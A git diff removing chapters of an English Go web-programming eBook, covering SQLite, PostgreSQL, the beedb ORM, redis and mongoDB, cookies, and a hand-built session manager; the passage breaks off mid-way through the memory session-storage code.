stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) - - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - // update - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - // query - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - // delete - stmt, err = db.Prepare("delete from userinfo where uid=?") - checkErr(err) - - res, err = stmt.Exec(id) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - -You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called `sql.Open` to connect to SQLite in a different way. - -As a final note on this secton, there is a useful SQLite management tool available: [http://sqliteadmin.orbmu2k.de/](http://sqliteadmin.orbmu2k.de/) - -## Links - -- [Directory](preface.md) -- Previous section: [MySQL](05.2.md) -- Next section: [PostgreSQL](05.4.md) diff --git a/en/eBook/05.4.md b/en/eBook/05.4.md deleted file mode 100644 index 8bf850f9..00000000 --- a/en/eBook/05.4.md +++ /dev/null @@ -1,123 +0,0 @@ -# 5.4 PostgreSQL - -PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It's larger than MySQL because it's designed for enterprise usage like Oracle. Postgresql is good choice for enterprise type projects. - -## PostgreSQL drivers - -There are many database drivers available for PostgreSQL. Here are three examples of them: - -- [https://github.com/bmizerany/pq](https://github.com/bmizerany/pq) supports `database/sql`, written in pure Go. -- [https://github.com/jbarham/gopgsqldriver](https://github.com/jbarham/gopgsqldriver) supports `database/sql`, written in pure Go. -- [https://github.com/lxn/go-pgsql](https://github.com/lxn/go-pgsql) supports `database/sql`, written in pure Go. - -I'll use the first one in my following examples. - -## Samples - -We create the following SQL: - - CREATE TABLE userinfo - ( - uid serial NOT NULL, - username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, - Created date, - CONSTRAINT userinfo_pkey PRIMARY KEY (uid) - ) - WITH (OIDS=FALSE); - -An example: - - package main - - import ( - "database/sql" - "fmt" - _ "github.com/bmizerany/pq" - "time" - ) - - const ( - DB_USER = "postgres" - DB_PASSWORD = "postgres" - DB_NAME = "test" - ) - - func main() { - dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", - DB_USER, DB_PASSWORD, DB_NAME) - db, err := sql.Open("postgres", dbinfo) - checkErr(err) - defer db.Close() - - fmt.Println("# Inserting values") - - var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) - checkErr(err) - fmt.Println("last inserted id =", lastInsertId) - - fmt.Println("# Updating") - stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") - checkErr(err) - - res, err := stmt.Exec("astaxieupdate", lastInsertId) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect, "rows changed") - - fmt.Println("# Querying") - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created time.Time - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println("uid | username | department | created ") - fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) - } - - fmt.Println("# Deleting") - stmt, err = db.Prepare("delete from userinfo where uid=$1") - checkErr(err) - - res, err = stmt.Exec(lastInsertId) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect, "rows changed") - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - -Note that PostgreSQL uses the `$1, $2` format instead of the `?` that MySQL uses, and it has a different DSN format in `sql.Open`. -Another thing is that the Postgres driver does not support `sql.Result.LastInsertId()`. -So instead of this, - - stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);") - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - fmt.Println(res.LastInsertId()) - -use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id. - - err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId) - fmt.Println(lastInsertId) - -## Links - -- [Directory](preface.md) -- Previous section: [SQLite](05.3.md) -- Next section: [Develop ORM based on beedb](05.5.md) diff --git a/en/eBook/05.5.md b/en/eBook/05.5.md deleted file mode 100644 index 3ad7a0a7..00000000 --- a/en/eBook/05.5.md +++ /dev/null @@ -1,256 +0,0 @@ -# 5.5 Develop ORM based on beedb - -( ***Project beedb is no longer maintained, but the code s still there*** ) - -beedb is an ORM ( object-relational mapper ) developed in Go, by me. -It uses idiomatic Go to operate on databases, implementing struct to database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence. - -beedb is an open source project that supports basic ORM functionality, but doesn't support association queries. - -Because beedb supports `database/sql` interface standards, any driver that implements this interface can be used with beedb. I've tested the following drivers: - -Mysql: [github.com/ziutek/mymysql/godrv](github.com/ziutek/mymysql/godrv) - -Mysql: [code.google.com/p/go-mysql-driver](code.google.com/p/go-mysql-driver) - -PostgreSQL: [github.com/bmizerany/pq](github.com/bmizerany/pq) - -SQLite: [github.com/mattn/go-sqlite3](github.com/mattn/go-sqlite3) - -MS ADODB: [github.com/mattn/go-adodb](github.com/mattn/go-adodb) - -ODBC: [bitbucket.org/miquella/mgodbc](bitbucket.org/miquella/mgodbc) - -## Installation - -You can use `go get` to install beedb locally. - - go get github.com/astaxie/beedb - -## Initialization - -First, you have to import all the necessary packages: - - import ( - "database/sql" - "github.com/astaxie/beedb" - _ "github.com/ziutek/mymysql/godrv" - ) - -Then you need to open a database connection and create a beedb object (MySQL in this example): - - db, err := sql.Open("mymysql", "test/xiemengjun/123456") - if err != nil { - panic(err) - } - orm := beedb.New(db) - -`beedb.New()` actually has two arguments. The first is the the database opject, and the second is for indicating which database engine you're using. If you're using MySQL/SQLite, you can just skip the second argument. - -Otherwise, this argument must be supplied. For instance, in the case of SQLServer: - - orm = beedb.New(db, "mssql") - -PostgreSQL: - - orm = beedb.New(db, "pg") - -beedb supports debugging. Use the following code to enable it: - - beedb.OnDebug=true - -Next, we have a struct for the `Userinfo` database table that we used in previous sections. - - type Userinfo struct { - Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key. - Username string - Departname string - Created time.Time - } - -Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have `UserInfo` as the struct name, beedb will convert it to `user_info` in the database. The same rule applies to struct field names. -Camel - -## Insert data - -The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change. - - var saveone Userinfo - saveone.Username = "Test Add User" - saveone.Departname = "Test Add Departname" - saveone.Created = time.Now() - orm.Save(&saveone) - -You can check `saveone.Uid` after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you. - -beedb provides another way of inserting data; this is via Go's map type. - - add := make(map[string]interface{}) - add["username"] = "astaxie" - add["departname"] = "cloud develop" - add["created"] = "2012-12-02" - orm.SetTable("userinfo").Insert(add) - -Insert multiple data: - - addslice := make([]map[string]interface{}, 10) - add:=make(map[string]interface{}) - add2:=make(map[string]interface{}) - add["username"] = "astaxie" - add["departname"] = "cloud develop" - add["created"] = "2012-12-02" - add2["username"] = "astaxie2" - add2["departname"] = "cloud develop2" - add2["created"] = "2012-12-02" - addslice = append(addslice, add, add2) - orm.SetTable("userinfo").InsertBatch(addslice) - -The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It returns the original ORM object after calls, then continues doing other jobs. - -The method `SetTable` tells the ORM we want to insert our data into the `userinfo` table. - -## Update data - -Let's continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record. - - saveone.Username = "Update Username" - saveone.Departname = "Update Departname" - saveone.Created = time.Now() - orm.Save(&saveone) // update - -Like before, you can use map for updating data also: - - t := make(map[string]interface{}) - t["username"] = "astaxie" - orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) - -Let me explain some of the methods used above: - -- `.SetPK()` tells the ORM that `uid` is the primary key records in the `userinfo` table. -- `.Where()` sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for `Where("=?", )`. -- `.Update()` method accepts a map and updates the database. - -## Query data - -The beedb query interface is very flexible. Let's see some examples: - -Example 1, query by primary key: - - var user Userinfo - // Where accepts two arguments, supports integers - orm.Where("uid=?", 27).Find(&user) - -Example 2: - - var user2 Userinfo - orm.Where(3).Find(&user2) // short form that omits primary key - -Example 3, other query conditions: - - var user3 Userinfo - // Where accepts two arguments, supports char type. - orm.Where("name = ?", "john").Find(&user3) - -Example 4, more complex conditions: - - var user4 Userinfo - // Where accepts three arguments - orm.Where("name = ? and age < ?", "john", 88).Find(&user4) - -Examples to get multiple records: - -Example 1, gets 10 records with `id>3` that starts with position 20: - - var allusers []Userinfo - err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) - -Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records: - - var tenusers []Userinfo - err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) - -Example 3, gets all records: - - var everyone []Userinfo - err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) - -As you can see, the Limit method is for limiting the number of results. - -- `.Limit()` supports two arguments: the number of results and the starting position. 0 is the default value of the starting position. -- `.OrderBy()` is for ordering results. The argument is the order condition. - -All the examples here are simply mapping records to structs. You can also just put the data into a map as follows: - - a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() - -- `.Select()` tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default. -- `.FindMap()` returns the `[]map[string][]byte` type, so you need to convert to other types yourself. - -## Delete data - -beedb provides rich methods to delete data. - -Example 1, delete a single record: - - // saveone is the one in above example. - orm.Delete(&saveone) - -Example 2, delete multiple records: - - // alluser is the slice which gets multiple records. - orm.DeleteAll(&alluser) - -Example 3, delete records by SQL: - - orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() - -## Association queries - -beedb doesn't support joining between structs. -However, since some applications need this feature, here is an implementation: - - a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid") - .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() - -We see a new method called `.Join()` that has three arguments: - -- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc. -- The second argument: the table you want to join with. -- The third argument: join condition. - -## Group By and Having - -beedb also has an implementation of `group by` and `having`. - - a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() - -- `.GroupBy()` indicates the field that is for group by. -- `.Having()` indicates conditions of having. - -## Future - -I have received a lot of feedback on beedb from many people all around world, and I'm thinking about reconfiguring the following aspects: - -- Implement an interface design similar to `database/sql/driver` in order to facilitate CRUD operations. -- Implement relational database associations like one to one, one to many and many to many. Here's a sample: - - type Profile struct { - Nickname string - Mobile string - } - type Userinfo struct { - Uid int - PK_Username string - Departname string - Created time.Time - Profile HasOne - } - -- Auto-create tables and indexes. -- Implement a connection pool using goroutines. - -## Links - -- [Directory](preface.md) -- Previous section: [PostgreSQL](05.4.md) -- Next section: [NoSQL database](05.6.md) diff --git a/en/eBook/05.6.md b/en/eBook/05.6.md deleted file mode 100644 index bf3bdc0a..00000000 --- a/en/eBook/05.6.md +++ /dev/null @@ -1,113 +0,0 @@ -# 5.6 NoSQL database - -A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used. - -As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases. - -## redis - -redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types. - -There are some Go database drivers for redis: - -- [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) -- [http://code.google.com/p/tideland-rdc/](http://code.google.com/p/tideland-rdc/) -- [https://github.com/simonz05/godis](https://github.com/simonz05/godis) -- [https://github.com/hoisie/redis.go](https://github.com/hoisie/redis.go) - -I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day). - -- [https://github.com/astaxie/goredis](https://github.com/astaxie/goredis) - -Let's see how to use the driver that I forked to operate on a database: - - package main - - import ( - "github.com/astaxie/goredis" - "fmt" - ) - - func main() { - var client goredis.Client - - // Set the default port in Redis - client.Addr = "127.0.0.1:6379" - - // string manipulation - client.Set("a", []byte("hello")) - val, _ := client.Get("a") - fmt.Println(string(val)) - client.Del("a") - - // list operation - vals := []string{"a", "b", "c", "d", "e"} - for _, v := range vals { - client.Rpush("l", []byte(v)) - } - dbvals,_ := client.Lrange("l", 0, 4) - for i, v := range dbvals { - println(i,":",string(v)) - } - client.Del("l") - } - -We can see that it's quite easy to operate redis in Go, and it has high performance. Its client commands are almost the same as redis' built-in commands. - -## mongoDB - -mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster. - -![](images/5.6.mongodb.png?raw=true) - -Figure 5.1 MongoDB compared to Mysql - -The best driver for mongoDB is called `mgo`, and it is possible that it will be included in the standard library in the future. - -Here is the example: - - package main - - import ( - "fmt" - "labix.org/v2/mgo" - "labix.org/v2/mgo/bson" - ) - - type Person struct { - Name string - Phone string - } - - func main() { - session, err := mgo.Dial("server1.example.com,server2.example.com") - if err != nil { - panic(err) - } - defer session.Close() - - session.SetMode(mgo.Monotonic, true) - - c := session.DB("test").C("people") - err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, - &Person{"Cla", "+55 53 8402 8510"}) - if err != nil { - panic(err) - } - - result := Person{} - err = c.Find(bson.M{"name": "Ale"}).One(&result) - if err != nil { - panic(err) - } - - fmt.Println("Phone:", result.Phone) - } - -We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things. - -## Links - -- [Directory](preface.md) -- Previous section: [Develop ORM based on beedb](05.5.md) -- Next section: [Summary](05.7.md) diff --git a/en/eBook/05.7.md b/en/eBook/05.7.md deleted file mode 100644 index 96c8bf8e..00000000 --- a/en/eBook/05.7.md +++ /dev/null @@ -1,11 +0,0 @@ -# 5.7 Summary - -In this chapter, you first learned about the design of the `database/sql` interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases. - -After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the `database/sql` interface. - -## Links - -- [Directory](preface.md) -- Previous section: [NoSQL database](05.6.md) -- Next section: [Data storage and session](06.0.md) diff --git a/en/eBook/06.0.md b/en/eBook/06.0.md deleted file mode 100644 index 2c517a6d..00000000 --- a/en/eBook/06.0.md +++ /dev/null @@ -1,11 +0,0 @@ -# 6 Data storage and sessions - -An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance). - -In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save these sessions directly into our database. We'll talk more about this in section 6.4. - -## Links - -- [Directory](preface.md) -- Previous Chapter: [Chapter 5 Summary](05.7.md) -- Next section: [Session and cookies](06.1.md) diff --git a/en/eBook/06.1.md b/en/eBook/06.1.md deleted file mode 100644 index 48da2d80..00000000 --- a/en/eBook/06.1.md +++ /dev/null @@ -1,111 +0,0 @@ -## 6.1 Session and cookies - -Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two use cases. - -Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called "web crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login. - -When we first receive a login page and type in a username and password, after we press the "login" button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access priviledges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either on the server side or client side using cookies and sessions. - -Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user. - -![](images/6.1.cookie2.png?raw=true) - -Figure 6.1 cookie principle. - -Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client's identity. - -![](images/6.1.session.png?raw=true) - -Figure 6.2 session principle. - -## Cookies - -Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it. - -![](images/6.1.cookie.png?raw=true) - -Figure 6.3 cookie in browsers. - -Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies. - -If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system. - -If your application does set an expiry time (for example, setMaxAge(60*60*24)), the browser *will* save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory.    - -## Set cookies in Go - -Go uses the `SetCookie` function in the `net/http` package to set cookies: - - http.SetCookie(w ResponseWriter, cookie *Cookie) - -`w` is the response of the request and cookie is a struct. Let's see what it looks like: - - type Cookie struct { - Name string - Value string - Path string - Domain string - Expires time.Time - RawExpires string - - // MaxAge=0 means no 'Max-Age' attribute specified. - // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' - // MaxAge>0 means Max-Age attribute present and given in seconds - MaxAge int - Secure bool - HttpOnly bool - Raw string - Unparsed []string // Raw text of unparsed attribute-value pairs - } - -Here is an example of setting a cookie: - - expiration := *time.LocalTime() - expiration.Year += 1 - cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} - http.SetCookie(w, &cookie) -   - -## Fetch cookies in Go - -The above example shows how to set a cookie. Now let's see how to get a cookie that has been set: - - cookie, _ := r.Cookie("username") - fmt.Fprint(w, cookie) - -Here is another way to get a cookie: - - for _, cookie := range r.Cookies() { - fmt.Fprint(w, cookie.Name) - } - -As you can see, it's very convenient to get cookies from requests. - -## Sessions - -A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers. - -Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct. - -Sessions are a server side mechanism, and usually employ hash tables (or something similar) to save incoming information. - -When an application needs to assign a new session to a client, the server should check if there are any existing sessions for same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually). - -The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all". - -## Summary - -In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different ways. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites. - -Here are two common exploits: - -1. appA setting an unexpected cookie for appB. -2. XSS attack: appA uses the JavaScript `document.cookie` to access the cookies of appB. - -After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss sessions in more detail in the following sections. - -## Links - -- [Directory](preface.md) -- Previous section: [Data storage and session](06.0.md) -- Next section: [How to use session in Go](06.2.md) diff --git a/en/eBook/06.2.md b/en/eBook/06.2.md deleted file mode 100644 index 0bbb6bdf..00000000 --- a/en/eBook/06.2.md +++ /dev/null @@ -1,222 +0,0 @@ -# 6.2 How to use sessions in Go - -In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session manager in Go. - -## Creating sessions - -The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session ids to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed: - -- Create a unique session id -- Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions. -- Send the unique session id to the client. - -The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites. - -- Cookies: the server can easily use `Set-cookie` inside of a response header to save a session id to a client, and a client can then this cookie for future requests; we often set the expiry time for for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers. -- URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best choice if clients have disabled cookies in their browsers. - -## Use Go to manage sessions - -We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session manager. - -### Session management design - -Here is a list of some of the key considerations in session management design. - -- Global session manager. -- Keep session id unique. -- Have one session for every user. -- Session storage in memory, file or database. -- Deal with expired sessions. - -Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions. - -### Session manager - -Define a global session manager: - - type Manager struct { - cookieName string //private cookiename - lock sync.Mutex // protects session - provider Provider - maxlifetime int64 - } - - func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { - provider, ok := provides[provideName] - if !ok { - return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) - } - return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil - } - -Create a global session manager in the `main()` function: - - var globalSessions *session.Manager - // Then, initialize the session manager - func init() { - globalSessions = NewManager("memory","gosessionid",3600) - } - -We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a `Provider` interface in order to represent the underlying structure of our session manager: - - type Provider interface { - SessionInit(sid string) (Session, error) - SessionRead(sid string) (Session, error) - SessionDestroy(sid string) error - SessionGC(maxLifeTime int64) - } - -- `SessionInit` implements the initialization of a session, and returns new a session if it succeeds. -- `SessionRead` returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist. -- `SessionDestroy` given an sid, deletes the corresponding session. -- `SessionGC` deletes expired session variables according to `maxLifeTime`. - -So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations. - - type Session interface { - Set(key, value interface{}) error //set session value - Get(key interface{}) interface{} //get session value - Delete(key interface{}) error //delete session value - SessionID() string //back current sessionID - } - -This design takes its roots from the `database/sql/driver`, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function. - - var provides = make(map[string]Provider) - - // Register makes a session provider available by the provided name. - // If a Register is called twice with the same name or if the driver is nil, - // it panics. - func Register(name string, provider Provider) { - if provider == nil { - panic("session: Register provide is nil") - } - if _, dup := provides[name]; dup { - panic("session: Register called twice for provide " + name) - } - provides[name] = provider - } - -### Unique session ids - -Session ids are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal: - - func (manager *Manager) sessionId() string { - b := make([]byte, 32) - if _, err := io.ReadFull(rand.Reader, b); err != nil { - return "" - } - return base64.URLEncoding.EncodeToString(b) - } - -### Creating a session - -We need to allocate or get an existing session in order to validate user operations. The `SessionStart` function is for checking if any there are any sessions related to the current user, creating a new session non are found. - - func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { - manager.lock.Lock() - defer manager.lock.Unlock() - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - sid := manager.sessionId() - session, _ = manager.provider.SessionInit(sid) - cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} - http.SetCookie(w, &cookie) - } else { - sid, _ := url.QueryUnescape(cookie.Value) - session, _ = manager.provider.SessionRead(sid) - } - return - } - -Here is an example that uses sessions for a login operation. - - func login(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - r.ParseForm() - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("username")) - } else { - sess.Set("username", r.Form["username"]) - http.Redirect(w, r, "/", 302) - } - } - -### Operation value: set, get and delete - -The `SessionStart` function returns a variable that implements a session interface. How do we use it? - -You saw `session.Get("uid")` in the above example for a basic operation. Now let's examine a more detailed example. - - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - createtime := sess.Get("createtime") - if createtime == nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 360) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) - } - -As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations. - -Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This way, the GC will not delete sessions that have expired but are still being used. - -### Reset sessions - -We know that web application have a logout operation. When users logout, we need to delete the corresponding session. We've already used the reset operation in above example -now let's take a look at the function body. - - //Destroy sessionid - func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - return - } else { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionDestroy(cookie.Value) - expiration := time.Now() - cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} - http.SetCookie(w, &cookie) - } - } - -### Delete sessions - -Let's see how to let the session manager delete a session. We need to start the GC in the `main()` function: - - func init() { - go globalSessions.GC() - } - - func (manager *Manager) GC() { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionGC(manager.maxlifetime) - time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) - } - -We see that the GC makes full use of the timer function in the `time` package. It automatically calls GC when the session times out, ensuring that all sessions are usable during `maxLifeTime`. A similar solution can be used to count online users. - -## Summary - -So far, we implemented a session manager to manage global sessions in the web application and defined the `Provider` interface as the storage implementation of `Session`. In the next section, we are going to talk about how to implement `Provider` for additional session storage structures, which you will be able to reference in the future. - -## Links - -- [Directory](preface.md) -- Previous section: [Session and cookies](06.1.md) -- Next section: [Session storage](06.3.md) diff --git a/en/eBook/06.3.md b/en/eBook/06.3.md deleted file mode 100644 index 64ae232a..00000000 --- a/en/eBook/06.3.md +++ /dev/null @@ -1,139 +0,0 @@ -# 6.3 Session storage - -We introduced a simple session manager's working principles in the previous section, and among other things, we defined a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well. - - package memory - - import ( - "container/list" - "github.com/astaxie/session" - "sync" - "time" - ) - - var pder = &Provider{list: list.New()} - - type SessionStore struct { - sid string // unique session id - timeAccessed time.Time // last access time - value map[interface{}]interface{} // session value stored inside - } - - func (st *SessionStore) Set(key, value interface{}) error { - st.value[key] = value - pder.SessionUpdate(st.sid) - return nil - } - - func (st *SessionStore) Get(key interface{}) interface{} { - pder.SessionUpdate(st.sid) - if v, ok := st.value[key]; ok { - return v - } else { - return nil - } - return nil - } - - func (st *SessionStore) Delete(key interface{}) error { - delete(st.value, key) - pder.SessionUpdate(st.sid) - return nil - } - - func (st *SessionStore) SessionID() string { - return st.sid - } - - type Provider struct { - lock sync.Mutex // lock - sessions map[string]*list.Element // save in memory - list *list.List // gc - } - - func (pder *Provider) SessionInit(sid string) (session.Session, error) { - pder.lock.Lock() - defer pder.lock.Unlock() - v := make(map[interface{}]interface{}, 0) - newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} - element := pder.list.PushBack(newsess) - pder.sessions[sid] = element - return newsess, nil - } - - func (pder *Provider) SessionRead(sid string) (session.Session, error) { - if element, ok := pder.sessions[sid]; ok { - return element.Value.(*SessionStore), nil - } else { - 